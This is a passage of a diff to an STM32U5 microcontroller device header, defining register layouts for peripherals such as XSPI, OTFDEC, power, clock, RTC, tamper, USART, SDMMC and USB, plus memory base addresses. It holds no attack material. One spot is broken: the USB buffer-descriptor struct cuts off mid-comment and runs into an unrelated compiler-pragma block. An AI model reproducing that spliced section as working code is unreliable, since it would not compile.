uint32_t IR; /*!< XSPI Instruction register, Address offset: 0x110 */ + uint32_t RESERVED11[3]; /*!< Reserved, Address offset: 0x114-0x11C */ + __IO uint32_t ABR; /*!< XSPI Alternate Bytes register, Address offset: 0x120 */ + uint32_t RESERVED12[3]; /*!< Reserved, Address offset: 0x124-0x12C */ + __IO uint32_t LPTR; /*!< XSPI Low Power Timeout register, Address offset: 0x130 */ + uint32_t RESERVED13[3]; /*!< Reserved, Address offset: 0x134-0x13C */ + __IO uint32_t WPCCR; /*!< XSPI Wrap Communication Configuration register, Address offset: 0x140 */ + uint32_t RESERVED14; /*!< Reserved, Address offset: 0x144 */ + __IO uint32_t WPTCR; /*!< XSPI Wrap Timing Configuration register, Address offset: 0x148 */ + uint32_t RESERVED15; /*!< Reserved, Address offset: 0x14C */ + __IO uint32_t WPIR; /*!< XSPI Wrap Instruction register, Address offset: 0x150 */ + uint32_t RESERVED16[3]; /*!< Reserved, Address offset: 0x154-0x15C */ + __IO uint32_t WPABR; /*!< XSPI Wrap Alternate Bytes register, Address offset: 0x160 */ + uint32_t RESERVED17[7]; /*!< Reserved, Address offset: 0x164-0x17C */ + __IO uint32_t WCCR; /*!< XSPI Write Communication Configuration register, Address offset: 0x180 */ + uint32_t RESERVED18; /*!< Reserved, Address offset: 0x184 */ + __IO uint32_t WTCR; /*!< XSPI Write Timing Configuration register, Address offset: 0x188 */ + uint32_t RESERVED19; /*!< Reserved, Address offset: 0x18C */ + __IO uint32_t WIR; /*!< XSPI Write Instruction register, Address offset: 0x190 */ + uint32_t RESERVED20[3]; /*!< Reserved, Address offset: 0x194-0x19C */ + __IO uint32_t WABR; /*!< XSPI Write Alternate Bytes register, Address offset: 0x1A0 */ + uint32_t RESERVED21[23]; /*!< Reserved, Address offset: 0x1A4-0x1FC */ + __IO uint32_t HLCR; /*!< XSPI Hyperbus Latency Configuration register, Address offset: 0x200 */ +} XSPI_TypeDef; + +typedef XSPI_TypeDef OCTOSPI_TypeDef; + + +/** + * @brief OTFDEC register + */ +typedef struct +{ + __IO uint32_t REG_CONFIGR; /*!< OTFDEC Region Configuration register, Address offset: 0x20 + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_START_ADDR; /*!< OTFDEC Region Start Address register, Address offset: 0x24 + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_END_ADDR; /*!< OTFDEC Region End Address register, Address offset: 0x28 + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_NONCER0; /*!< OTFDEC Region Nonce register 0, Address offset: 0x2C + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_NONCER1; /*!< OTFDEC Region Nonce register 1, Address offset: 0x30 + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_KEYR0; /*!< OTFDEC Region Key register 0, Address offset: 0x34 + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_KEYR1; /*!< OTFDEC Region Key register 1, Address offset: 0x38 + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_KEYR2; /*!< OTFDEC Region Key register 2, Address offset: 0x3C + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_KEYR3; /*!< OTFDEC Region Key register 3, Address offset: 0x40 + 0x30 * (x -1) (x = 1 to 4) */ +} OTFDEC_Region_TypeDef; + +typedef struct +{ + __IO uint32_t CR; /*!< OTFDEC Control register, Address offset: 0x000 */ + uint32_t RESERVED1[3]; /*!< Reserved, Address offset: 0x004-0x00C */ + __IO uint32_t PRIVCFGR; /*!< OTFDEC Privileged access control Configuration register, Address offset: 0x010 */ + uint32_t RESERVED2[187]; /*!< Reserved, Address offset: 0x014-0x2FC */ + __IO uint32_t ISR; /*!< OTFDEC Interrupt Status register, Address offset: 0x300 */ + __IO uint32_t ICR; /*!< OTFDEC Interrupt Clear register, Address offset: 0x304 */ + __IO uint32_t IER; /*!< OTFDEC Interrupt Enable register, Address offset: 0x308 */ +} OTFDEC_TypeDef; + + + +/** + * @brief Power Control + */ +typedef struct +{ + __IO uint32_t CR1; /*!< Power control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< Power control register 2, Address offset: 0x04 */ + __IO uint32_t CR3; /*!< Power control register 3, Address offset: 0x08 */ + __IO uint32_t VOSR; /*!< Power voltage scaling register, Address offset: 0x0C */ + __IO uint32_t SVMCR; /*!< Power supply voltage monitoring control register, Address offset: 0x10 */ + __IO uint32_t WUCR1; /*!< Power wakeup control register 1, Address offset: 0x14 */ + __IO uint32_t WUCR2; /*!< Power wakeup control register 2, Address offset: 0x18 */ + __IO uint32_t WUCR3; /*!< Power wakeup control register 3, Address offset: 0x1C */ + __IO uint32_t BDCR1; /*!< Power backup domain control register 1, Address offset: 0x20 */ + __IO uint32_t BDCR2; /*!< Power backup domain control register 2, Address offset: 0x24 */ + __IO uint32_t DBPR; /*!< Power disable backup domain register, Address offset: 0x28 */ + uint32_t RESERVED1[1]; /*!< Reserved1, Address offset: 0x2C */ + __IO uint32_t SECCFGR; /*!< Power Security configuration register, Address offset: 0x30 */ + __IO uint32_t PRIVCFGR; /*!< Power privilege control register, Address offset: 0x34 */ + __IO uint32_t SR; /*!< Power status register, Address offset: 0x38 */ + __IO uint32_t SVMSR; /*!< Power supply voltage monitoring status register, Address offset: 0x3C */ + __IO uint32_t BDSR; /*!< Power backup domain status register, Address offset: 0x40 */ + __IO uint32_t WUSR; /*!< Power wakeup status register, Address offset: 0x44 */ + __IO uint32_t WUSCR; /*!< Power wakeup status clear register, Address offset: 0x48 */ + __IO uint32_t APCR; /*!< Power apply pull configuration register, Address offset: 0x4C */ + __IO uint32_t PUCRA; /*!< Power Port A pull-up control register, Address offset: 0x50 */ + __IO uint32_t PDCRA; /*!< Power Port A pull-down control register, Address offset: 0x54 */ + __IO uint32_t PUCRB; /*!< Power Port B pull-up control register, Address offset: 0x58 */ + __IO uint32_t PDCRB; /*!< Power Port B pull-down control register, Address offset: 0x5C */ + __IO uint32_t PUCRC; /*!< Power Port C pull-up control register, Address offset: 0x60 */ + __IO uint32_t PDCRC; /*!< Power Port C pull-down control register, Address offset: 0x64 */ + __IO uint32_t PUCRD; /*!< Power Port D pull-up control register, Address offset: 0x68 */ + __IO uint32_t PDCRD; /*!< Power Port D pull-down control register, Address offset: 0x6C */ + __IO uint32_t PUCRE; /*!< Power Port E pull-up control register, Address offset: 0x70 */ + __IO uint32_t PDCRE; /*!< Power Port E pull-down control register, Address offset: 0x74 */ + uint32_t RESERVED2[2]; /*!< Reserved2, Address offset: 0x78-0x7C */ + __IO uint32_t PUCRG; /*!< Power Port G pull-up control register, Address offset: 0x80 */ + __IO uint32_t PDCRG; /*!< Power Port G pull-down control register, Address offset: 0x84 */ + __IO uint32_t PUCRH; /*!< Power Port H pull-up control register, Address offset: 0x88 */ + __IO uint32_t PDCRH; /*!< Power Port H pull-down control register, Address offset: 0x8C */ +} PWR_TypeDef; + +/** + * @brief SRAMs configuration controller + */ +typedef struct +{ + __IO uint32_t CR; /*!< Control Register, Address offset: 0x00 */ + __IO uint32_t IER; /*!< Interrupt Enable Register, Address offset: 0x04 */ + __IO uint32_t ISR; /*!< Interrupt Status Register, Address offset: 0x08 */ + __IO uint32_t SEAR; /*!< ECC Single Error Address Register, Address offset: 0x0C */ + __IO uint32_t DEAR; /*!< ECC Double Error Address Register, Address offset: 0x10 */ + __IO uint32_t ICR; /*!< Interrupt Clear Register, Address offset: 0x14 */ + __IO uint32_t WPR1; /*!< SRAM Write Protection Register 1, Address offset: 0x18 */ + __IO uint32_t WPR2; /*!< SRAM Write Protection Register 2, Address offset: 0x1C */ + uint32_t RESERVED; /*!< Reserved, Address offset: 0x20 */ + __IO uint32_t ECCKEY; /*!< SRAM ECC Key Register, Address offset: 0x24 */ + __IO uint32_t ERKEYR; /*!< SRAM Erase Key Register, Address offset: 0x28 */ +}RAMCFG_TypeDef; + +/** + * @brief Reset and Clock Control + */ +typedef struct +{ + __IO uint32_t CR; /*!< RCC clock control register Address offset: 0x00 */ + uint32_t RESERVED0; /*!< Reserved Address offset: 0x04 */ + __IO uint32_t ICSCR1; /*!< RCC internal clock sources calibration register 1 Address offset: 0x08 */ + __IO uint32_t ICSCR2; /*!< RCC internal clock sources calibration register 2 Address offset: 0x0C */ + __IO uint32_t ICSCR3; /*!< RCC internal clock sources calibration register 3 Address offset: 0x10 */ + __IO uint32_t CRRCR; /*!< RCC Clock Recovery RC Register Address offset: 0x14 */ + uint32_t RESERVED1; /*!< Reserved Address offset: 0x18 */ + __IO uint32_t CFGR1; /*!< RCC clock configuration register 1 Address offset: 0x1C */ + __IO uint32_t CFGR2; /*!< RCC clock configuration register 2 Address offset: 0x20 */ + __IO uint32_t CFGR3; /*!< RCC clock configuration register 3 Address offset: 0x24 */ + __IO uint32_t PLL1CFGR; /*!< PLL1 Configuration Register Address offset: 0x28 */ + __IO uint32_t PLL2CFGR; /*!< PLL2 Configuration Register Address offset: 0x2C */ + __IO uint32_t PLL3CFGR; /*!< PLL3 Configuration Register Address offset: 0x30 */ + __IO uint32_t PLL1DIVR; /*!< PLL1 Dividers Configuration Register Address offset: 0x34 */ + __IO uint32_t PLL1FRACR; /*!< PLL1 Fractional Divider Configuration Register Address offset: 0x38 */ + __IO uint32_t PLL2DIVR; /*!< PLL2 Dividers Configuration Register Address offset: 0x3C */ + __IO uint32_t PLL2FRACR; /*!< PLL2 Fractional Divider Configuration Register Address offset: 0x40 */ + __IO uint32_t PLL3DIVR; /*!< PLL3 Dividers Configuration Register Address offset: 0x44 */ + __IO uint32_t PLL3FRACR; /*!< PLL3 Fractional Divider Configuration Register Address offset: 0x48 */ + uint32_t RESERVED2; /*!< Reserved Address offset: 0x4C */ + __IO uint32_t CIER; /*!< Clock Interrupt Enable Register Address offset: 0x50 */ + __IO uint32_t CIFR; /*!< Clock Interrupt Flag Register Address offset: 0x54 */ + __IO uint32_t CICR; /*!< Clock Interrupt Clear Register Address offset: 0x58 */ + uint32_t RESERVED3; /*!< Reserved Address offset: 0x5C */ + __IO uint32_t AHB1RSTR; /*!< AHB1 Peripherals Reset Register Address offset: 0x60 */ + __IO uint32_t AHB2RSTR1; /*!< AHB2 Peripherals Reset Register 1 Address offset: 0x64 */ + __IO uint32_t AHB2RSTR2; /*!< AHB2 Peripherals Reset Register 2 Address offset: 0x68 */ + __IO uint32_t AHB3RSTR; /*!< AHB3 Peripherals Reset Register Address offset: 0x6C */ + uint32_t RESERVED4; /*!< Reserved Address offset: 0x70 */ + __IO uint32_t APB1RSTR1; /*!< APB1 Peripherals Reset Register 1 Address offset: 0x74 */ + __IO uint32_t APB1RSTR2; /*!< APB1 Peripherals Reset Register 2 Address offset: 0x78 */ + __IO uint32_t APB2RSTR; /*!< APB2 Peripherals Reset Register Address offset: 0x7C */ + __IO uint32_t APB3RSTR; /*!< APB3 Peripherals Reset Register Address offset: 0x80 */ + uint32_t RESERVED5; /*!< Reserved Address offset: 0x84 */ + __IO uint32_t AHB1ENR; /*!< AHB1 Peripherals Clock Enable Register Address offset: 0x88 */ + __IO uint32_t AHB2ENR1; /*!< AHB2 Peripherals Clock Enable Register 1 Address offset: 0x8C */ + __IO uint32_t AHB2ENR2; /*!< AHB2 Peripherals Clock Enable Register 2 Address offset: 0x90 */ + __IO uint32_t AHB3ENR; /*!< AHB3 Peripherals Clock Enable Register Address offset: 0x94 */ + uint32_t RESERVED6; /*!< Reserved Address offset: 0x98 */ + __IO uint32_t APB1ENR1; /*!< APB1 Peripherals Clock Enable Register 1 Address offset: 0x9C */ + __IO uint32_t APB1ENR2; /*!< APB1 Peripherals Clock Enable Register 2 Address offset: 0xA0 */ + __IO uint32_t APB2ENR; /*!< APB2 Peripherals Clock Enable Register Address offset: 0xA4 */ + __IO uint32_t APB3ENR; /*!< APB3 Peripherals Clock Enable Register Address offset: 0xA8 */ + uint32_t RESERVED7; /*!< Reserved Address offset: 0xAC */ + __IO uint32_t AHB1SMENR; /*!< AHB1 Peripherals Clock Enable in Sleep and Stop Modes Register Address offset: 0xB0 */ + __IO uint32_t AHB2SMENR1; /*!< AHB2 Peripherals Clock Enable in Sleep and Stop Modes Register 1 Address offset: 0xB4 */ + __IO uint32_t AHB2SMENR2; /*!< AHB2 Peripherals Clock Enable in Sleep and Stop Modes Register 2 Address offset: 0xB8 */ + __IO uint32_t AHB3SMENR; /*!< AHB3 Peripherals Clock Enable in Sleep and Stop Modes Register Address offset: 0xBC */ + uint32_t RESERVED8; /*!< Reserved Address offset: 0xC0 */ + __IO uint32_t APB1SMENR1; /*!< APB1 Peripherals Clock Enable in Sleep and Stop Modes Register 1 Address offset: 0xC4 */ + __IO uint32_t APB1SMENR2; /*!< APB1 Peripherals Clock Enable in Sleep and Stop Modes Register 2 Address offset: 0xC8 */ + __IO uint32_t APB2SMENR; /*!< APB2 Peripherals Clock Enable in Sleep and Stop Modes Register 1 Address offset: 0xCC */ + __IO uint32_t APB3SMENR; /*!< APB3 Peripherals Clock Enable in Sleep and Stop Modes Register 2 Address offset: 0xD0 */ + uint32_t RESERVED9; /*!< Reserved Address offset: 0xD4 */ + __IO uint32_t SRDAMR; /*!< SRD Autonomous Mode Register Address offset: 0xD8 */ + uint32_t RESERVED10; /*!< Reserved, Address offset: 0xDC */ + __IO uint32_t CCIPR1; /*!< IPs Clocks Configuration Register 1 Address offset: 0xE0 */ + __IO uint32_t CCIPR2; /*!< IPs Clocks Configuration Register 2 Address offset: 0xE4 */ + __IO uint32_t CCIPR3; /*!< IPs Clocks Configuration Register 3 Address offset: 0xE8 */ + uint32_t RESERVED11; /*!< Reserved, Address offset: 0xEC */ + __IO uint32_t BDCR; /*!< Backup Domain Control Register Address offset: 0xF0 */ + __IO uint32_t CSR; /*!< V33 Clock Control & Status Register Address offset: 0xF4 */ + uint32_t RESERVED[6]; /*!< Reserved Address offset: 0xF8 */ + __IO uint32_t SECCFGR; /*!< RCC secure configuration register Address offset: 0x110 */ + __IO uint32_t PRIVCFGR; /*!< RCC privilege configuration register Address offset: 0x114 */ +} RCC_TypeDef; + +/** + * @brief PKA + */ +typedef struct +{ + __IO uint32_t CR; /*!< PKA control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< PKA status register, Address offset: 0x04 */ + __IO uint32_t CLRFR; /*!< PKA clear flag register, Address offset: 0x08 */ + uint32_t Reserved[253]; /*!< Reserved memory area Address offset: 0x0C -> 0x03FC */ + __IO uint32_t RAM[1334]; /*!< PKA RAM Address offset: 0x400 -> 0x18D4 */ +} PKA_TypeDef; + +/* +* @brief RTC Specific device feature definitions +*/ +#define RTC_BKP_NB 32U +#define RTC_TAMP_NB 8U + +/** + * @brief Real-Time Clock + */ +typedef struct +{ + __IO uint32_t TR; /*!< RTC time register, Address offset: 0x00 */ + __IO uint32_t DR; /*!< RTC date register, Address offset: 0x04 */ + __IO uint32_t SSR; /*!< RTC sub second register, Address offset: 0x08 */ + __IO uint32_t ICSR; /*!< RTC initialization control and status register, Address offset: 0x0C */ + __IO uint32_t PRER; /*!< RTC prescaler register, Address offset: 0x10 */ + __IO uint32_t WUTR; /*!< RTC wakeup timer register, Address offset: 0x14 */ + __IO uint32_t CR; /*!< RTC control register, Address offset: 0x18 */ + __IO uint32_t PRIVCFGR; /*!< RTC privilege mode control register, Address offset: 0x1C */ + __IO uint32_t SECCFGR; /*!< RTC secure mode control register, Address offset: 0x20 */ + __IO uint32_t WPR; /*!< RTC write protection register, Address offset: 0x24 */ + __IO uint32_t CALR; /*!< RTC calibration register, Address offset: 0x28 */ + __IO uint32_t SHIFTR; /*!< RTC shift control register, Address offset: 0x2C */ + __IO uint32_t TSTR; /*!< RTC time stamp time register, Address offset: 0x30 */ + __IO uint32_t TSDR; /*!< RTC time stamp date register, Address offset: 0x34 */ + __IO uint32_t TSSSR; /*!< RTC time-stamp sub second register, Address offset: 0x38 */ + uint32_t RESERVED0; /*!< Reserved, Address offset: 0x3C */ + __IO uint32_t ALRMAR; /*!< RTC alarm A register, Address offset: 0x40 */ + __IO uint32_t ALRMASSR; /*!< RTC alarm A sub second register, Address offset: 0x44 */ + __IO uint32_t ALRMBR; /*!< RTC alarm B register, Address offset: 0x48 */ + __IO uint32_t ALRMBSSR; /*!< RTC alarm B sub second register, Address offset: 0x4C */ + __IO uint32_t SR; /*!< RTC Status register, Address offset: 0x50 */ + __IO uint32_t MISR; /*!< RTC masked interrupt status register, Address offset: 0x54 */ + __IO uint32_t SMISR; /*!< RTC secure masked interrupt status register, Address offset: 0x58 */ + __IO uint32_t SCR; /*!< RTC status Clear register, Address offset: 0x5C */ + uint32_t RESERVED4[4];/*!< Reserved, Address offset: 0x58 */ + __IO uint32_t ALRABINR; /*!< RTC alarm A binary mode register, Address offset: 0x70 */ + __IO uint32_t ALRBBINR; /*!< RTC alarm B binary mode register, Address offset: 0x74 */ +} RTC_TypeDef; + +/** + * @brief Tamper and backup registers + */ +typedef struct +{ + __IO uint32_t CR1; /*!< TAMP configuration register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< TAMP configuration register 2, Address offset: 0x04 */ + __IO uint32_t CR3; /*!< TAMP configuration register 3, Address offset: 0x08 */ + __IO uint32_t FLTCR; /*!< TAMP filter control register, Address offset: 0x0C */ + __IO uint32_t ATCR1; /*!< TAMP filter control register 1 Address offset: 0x10 */ + __IO uint32_t ATSEEDR; /*!< TAMP active tamper seed register, Address offset: 0x14 */ + __IO uint32_t ATOR; /*!< TAMP active tamper output register, Address offset: 0x18 */ + __IO uint32_t ATCR2; /*!< TAMP filter control register 2, Address offset: 0x1C */ + __IO uint32_t SECCFGR; /*!< TAMP secure mode control register, Address offset: 0x20 */ + __IO uint32_t PRIVCFGR; /*!< TAMP privilege mode control register, Address offset: 0x24 */ + uint32_t RESERVED0; /*!< Reserved, Address offset: 0x28 */ + __IO uint32_t IER; /*!< TAMP interrupt enable register, Address offset: 0x2C */ + __IO uint32_t SR; /*!< TAMP status register, Address offset: 0x30 */ + __IO uint32_t MISR; /*!< TAMP masked interrupt status register, Address offset: 0x34 */ + __IO uint32_t SMISR; /*!< TAMP secure masked interrupt status register,Address offset: 0x38 */ + __IO uint32_t SCR; /*!< TAMP status clear register, Address offset: 0x3C */ + __IO uint32_t COUNTR; /*!< TAMP monotonic counter register, Address offset: 0x40 */ + uint32_t RESERVED1[4]; /*!< Reserved, Address offset: 0x43 -- 0x50 */ + __IO uint32_t ERCFGR; /*!< TAMP erase configuration register, Address offset: 0x54 */ + uint32_t RESERVED2[42]; /*!< Reserved, Address offset: 0x58 -- 0xFC */ + __IO uint32_t BKP0R; /*!< TAMP backup register 0, Address offset: 0x100 */ + __IO uint32_t BKP1R; /*!< TAMP backup register 1, Address offset: 0x104 */ + __IO uint32_t BKP2R; /*!< TAMP backup register 2, Address offset: 0x108 */ + __IO uint32_t BKP3R; /*!< TAMP backup register 3, Address offset: 0x10C */ + __IO uint32_t BKP4R; /*!< TAMP backup register 4, Address offset: 0x110 */ + __IO uint32_t BKP5R; /*!< TAMP backup register 5, Address offset: 0x114 */ + __IO uint32_t BKP6R; /*!< TAMP backup register 6, Address offset: 0x118 */ + __IO uint32_t BKP7R; /*!< TAMP backup register 7, Address offset: 0x11C */ + __IO uint32_t BKP8R; /*!< TAMP backup register 8, Address offset: 0x120 */ + __IO uint32_t BKP9R; /*!< TAMP backup register 9, Address offset: 0x124 */ + __IO uint32_t BKP10R; /*!< TAMP backup register 10, Address offset: 0x128 */ + __IO uint32_t BKP11R; /*!< TAMP backup register 11, Address offset: 0x12C */ + __IO uint32_t BKP12R; /*!< TAMP backup register 12, Address offset: 0x130 */ + __IO uint32_t BKP13R; /*!< TAMP backup register 13, Address offset: 0x134 */ + __IO uint32_t BKP14R; /*!< TAMP backup register 14, Address offset: 0x138 */ + __IO uint32_t BKP15R; /*!< TAMP backup register 15, Address offset: 0x13C */ + __IO uint32_t BKP16R; /*!< TAMP backup register 16, Address offset: 0x140 */ + __IO uint32_t BKP17R; /*!< TAMP backup register 17, Address offset: 0x144 */ + __IO uint32_t BKP18R; /*!< TAMP backup register 18, Address offset: 0x148 */ + __IO uint32_t BKP19R; /*!< TAMP backup register 19, Address offset: 0x14C */ + __IO uint32_t BKP20R; /*!< TAMP backup register 20, Address offset: 0x150 */ + __IO uint32_t BKP21R; /*!< TAMP backup register 21, Address offset: 0x154 */ + __IO uint32_t BKP22R; /*!< TAMP backup register 22, Address offset: 0x158 */ + __IO uint32_t BKP23R; /*!< TAMP backup register 23, Address offset: 0x15C */ + __IO uint32_t BKP24R; /*!< TAMP backup register 24, Address offset: 0x160 */ + __IO uint32_t BKP25R; /*!< TAMP backup register 25, Address offset: 0x164 */ + __IO uint32_t BKP26R; /*!< TAMP backup register 26, Address offset: 0x168 */ + __IO uint32_t BKP27R; /*!< TAMP backup register 27, Address offset: 0x16C */ + __IO uint32_t BKP28R; /*!< TAMP backup register 28, Address offset: 0x170 */ + __IO uint32_t BKP29R; /*!< TAMP backup register 29, Address offset: 0x174 */ + __IO uint32_t BKP30R; /*!< TAMP backup register 30, Address offset: 0x178 */ + __IO uint32_t BKP31R; /*!< TAMP backup register 31, Address offset: 0x17C */ +} TAMP_TypeDef; + +/** + * @brief Universal Synchronous Asynchronous Receiver Transmitter + */ +typedef struct +{ + __IO uint32_t CR1; /*!< USART Control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< USART Control register 2, Address offset: 0x04 */ + __IO uint32_t CR3; /*!< USART Control register 3, Address offset: 0x08 */ + __IO uint32_t BRR; /*!< USART Baud rate register, Address offset: 0x0C */ + __IO uint32_t GTPR; /*!< USART Guard time and prescaler register, Address offset: 0x10 */ + __IO uint32_t RTOR; /*!< USART Receiver Time Out register, Address offset: 0x14 */ + __IO uint32_t RQR; /*!< USART Request register, Address offset: 0x18 */ + __IO uint32_t ISR; /*!< USART Interrupt and status register, Address offset: 0x1C */ + __IO uint32_t ICR; /*!< USART Interrupt flag Clear register, Address offset: 0x20 */ + __IO uint32_t RDR; /*!< USART Receive Data register, Address offset: 0x24 */ + __IO uint32_t TDR; /*!< USART Transmit Data register, Address offset: 0x28 */ + __IO uint32_t PRESC; /*!< USART Prescaler register, Address offset: 0x2C */ + __IO uint32_t AUTOCR; /*!< USART Autonomous mode control register Address offset: 0x30 */ +} USART_TypeDef; + +/** + * @brief Serial Audio Interface + */ +typedef struct +{ + __IO uint32_t GCR; /*!< SAI global configuration register, Address offset: 0x00 */ + uint32_t RESERVED[16]; /*!< Reserved, Address offset: 0x04 to 0x40 */ + __IO uint32_t PDMCR; /*!< SAI PDM control register, Address offset: 0x44 */ + __IO uint32_t PDMDLY; /*!< SAI PDM delay register, Address offset: 0x48 */ +} SAI_TypeDef; + +typedef struct +{ + __IO uint32_t CR1; /*!< SAI block x configuration register 1, Address offset: 0x04 */ + __IO uint32_t CR2; /*!< SAI block x configuration register 2, Address offset: 0x08 */ + __IO uint32_t FRCR; /*!< SAI block x frame configuration register, Address offset: 0x0C */ + __IO uint32_t SLOTR; /*!< SAI block x slot register, Address offset: 0x10 */ + __IO uint32_t IMR; /*!< SAI block x interrupt mask register, Address offset: 0x14 */ + __IO uint32_t SR; /*!< SAI block x status register, Address offset: 0x18 */ + __IO uint32_t CLRFR; /*!< SAI block x clear flag register, Address offset: 0x1C */ + __IO uint32_t DR; /*!< SAI block x data register, Address offset: 0x20 */ +} SAI_Block_TypeDef; + +/** + * @brief System configuration controller + */ +typedef struct +{ + __IO uint32_t SECCFGR; /*!< SYSCFG secure configuration register, Address offset: 0x00 */ + __IO uint32_t CFGR1; /*!< SYSCFG configuration register 1, Address offset: 0x04 */ + __IO uint32_t FPUIMR; /*!< SYSCFG FPU interrupt mask register, Address offset: 0x08 */ + __IO uint32_t CNSLCKR; /*!< SYSCFG CPU non-secure lock register, Address offset: 0x0C */ + __IO uint32_t CSLCKR; /*!< SYSCFG CPU secure lock register, Address offset: 0x10 */ + __IO uint32_t CFGR2; /*!< SYSCFG configuration register 2, Address offset: 0x14 */ + __IO uint32_t MESR; /*!< SYSCFG Memory Erase Status register, Address offset: 0x18 */ + __IO uint32_t CCCSR; /*!< SYSCFG Conpensaion Cell Control&Status register, Address offset: 0x1C */ + __IO uint32_t CCVR; /*!< SYSCFG Conpensaion Cell value register, Address offset: 0x20 */ + __IO uint32_t CCCR; /*!< SYSCFG Conpensaion Cell Code register, Address offset: 0x24 */ + uint32_t RESERVED1; /*!< RESERVED1, Address offset: 0x28 */ + __IO uint32_t RSSCMDR; /*!< SYSCFG RSS command mode register, Address offset: 0x2C */ +} SYSCFG_TypeDef; + +/** + * @brief Secure digital input/output Interface + */ +typedef struct +{ + __IO uint32_t POWER; /*!< SDMMC power control register, Address offset: 0x00 */ + __IO uint32_t CLKCR; /*!< SDMMC clock control register, Address offset: 0x04 */ + __IO uint32_t ARG; /*!< SDMMC argument register, Address offset: 0x08 */ + __IO uint32_t CMD; /*!< SDMMC command register, Address offset: 0x0C */ + __I uint32_t RESPCMD; /*!< SDMMC command response register, Address offset: 0x10 */ + __I uint32_t RESP1; /*!< SDMMC response 1 register, Address offset: 0x14 */ + __I uint32_t RESP2; /*!< SDMMC response 2 register, Address offset: 0x18 */ + __I uint32_t RESP3; /*!< SDMMC response 3 register, Address offset: 0x1C */ + __I uint32_t RESP4; /*!< SDMMC response 4 register, Address offset: 0x20 */ + __IO uint32_t DTIMER; /*!< SDMMC data timer register, Address offset: 0x24 */ + __IO uint32_t DLEN; /*!< SDMMC data length register, Address offset: 0x28 */ + __IO uint32_t DCTRL; /*!< SDMMC data control register, Address offset: 0x2C */ + __I uint32_t DCOUNT; /*!< SDMMC data counter register, Address offset: 0x30 */ + __I uint32_t STA; /*!< SDMMC status register, Address offset: 0x34 */ + __IO uint32_t ICR; /*!< SDMMC interrupt clear register, Address offset: 0x38 */ + __IO uint32_t MASK; /*!< SDMMC mask register, Address offset: 0x3C */ + __IO uint32_t ACKTIME; /*!< SDMMC Acknowledgement timer register, Address offset: 0x40 */ + uint32_t RESERVED0[3]; /*!< Reserved, 0x44 - 0x4C - 0x4C */ + __IO uint32_t IDMACTRL; /*!< SDMMC DMA control register, Address offset: 0x50 */ + __IO uint32_t IDMABSIZE; /*!< SDMMC DMA buffer size register, Address offset: 0x54 */ + __IO uint32_t IDMABASER; /*!< SDMMC DMA buffer base address register, Address offset: 0x58 */ + uint32_t RESERVED1[2]; /*!< Reserved, 0x60 */ + __IO uint32_t IDMALAR; /*!< SDMMC DMA linked list address register, Address offset: 0x64 */ + __IO uint32_t IDMABAR; /*!< SDMMC DMA linked list memory base register,Address offset: 0x68 */ + uint32_t RESERVED2[5]; /*!< Reserved, 0x6C-0x7C */ + __IO uint32_t FIFO; /*!< SDMMC data FIFO register, Address offset: 0x80 */ +} SDMMC_TypeDef; + + + +/** + * @brief Delay Block DLYB + */ +typedef struct +{ + __IO uint32_t CR; /*!< DELAY BLOCK control register, Address offset: 0x00 */ + __IO uint32_t CFGR; /*!< DELAY BLOCK configuration register, Address offset: 0x04 */ +} DLYB_TypeDef; + + +/** + * @brief Universal Serial Bus Full Speed Dual Role Device + */ +typedef struct +{ + __IO uint32_t CHEP0R; /*!< USB Channel/Endpoint 0 register, Address offset: 0x00 */ + __IO uint32_t CHEP1R; /*!< USB Channel/Endpoint 1 register, Address offset: 0x04 */ + __IO uint32_t CHEP2R; /*!< USB Channel/Endpoint 2 register, Address offset: 0x08 */ + __IO uint32_t CHEP3R; /*!< USB Channel/Endpoint 3 register, Address offset: 0x0C */ + __IO uint32_t CHEP4R; /*!< USB Channel/Endpoint 4 register, Address offset: 0x10 */ + __IO uint32_t CHEP5R; /*!< USB Channel/Endpoint 5 register, Address offset: 0x14 */ + __IO uint32_t CHEP6R; /*!< USB Channel/Endpoint 6 register, Address offset: 0x18 */ + __IO uint32_t CHEP7R; /*!< USB Channel/Endpoint 7 register, Address offset: 0x1C */ + __IO uint32_t RESERVED0[8]; /*!< Reserved, */ + __IO uint32_t CNTR; /*!< Control register, Address offset: 0x40 */ + __IO uint32_t ISTR; /*!< Interrupt status register, Address offset: 0x44 */ + __IO uint32_t FNR; /*!< Frame number register, Address offset: 0x48 */ + __IO uint32_t DADDR; /*!< Device address register, Address offset: 0x4C */ + __IO uint32_t RESERVED1; /*!< Reserved */ + __IO uint32_t LPMCSR; /*!< LPM Control and Status register, Address offset: 0x54 */ + __IO uint32_t BCDR; /*!< Battery Charging detector register, Address offset: 0x58 */ +} USB_DRD_TypeDef; + +/** + * @brief Universal Serial Bus PacketMemoryArea Buffer Descriptor Table + */ +typedef struct +{ + __IO uint32_t TXBD; /*!= 6010050) + #pragma clang diagnostic pop +#elif defined (__GNUC__) + /* anonymous unions are enabled by default */ +#elif defined (__TMS470__) + /* anonymous unions are enabled by default */ +#elif defined (__TASKING__) + #pragma warning restore +#elif defined (__CSMC__) + /* anonymous unions are enabled by default */ +#else + #warning Not supported compiler type +#endif + + +/* =========================================================================================================================== */ +/* ================ Device Specific Peripheral Address Map ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup STM32U5xx_Peripheral_peripheralAddr + * @{ + */ + +/* Internal SRAMs size */ +#define SRAM1_SIZE (0x30000UL) /*!< SRAM1=192k */ +#define SRAM2_SIZE (0x10000UL) /*!< SRAM2=64k */ +#define SRAM4_SIZE (0x04000UL) /*!< SRAM4=16k */ + +/* External memories base addresses - Not aliased */ +#define OCTOSPI1_BASE (0x90000000UL) /*!< OCTOSPI1 memories accessible over AHB base address */ + + +/* Flash, Peripheral and internal SRAMs base addresses - Non secure */ +#define FLASH_BASE_NS (0x08000000UL) /*!< FLASH (512 KB) non-secure base address */ +#define SRAM1_BASE_NS (0x20000000UL) /*!< SRAM1 (192 KB) 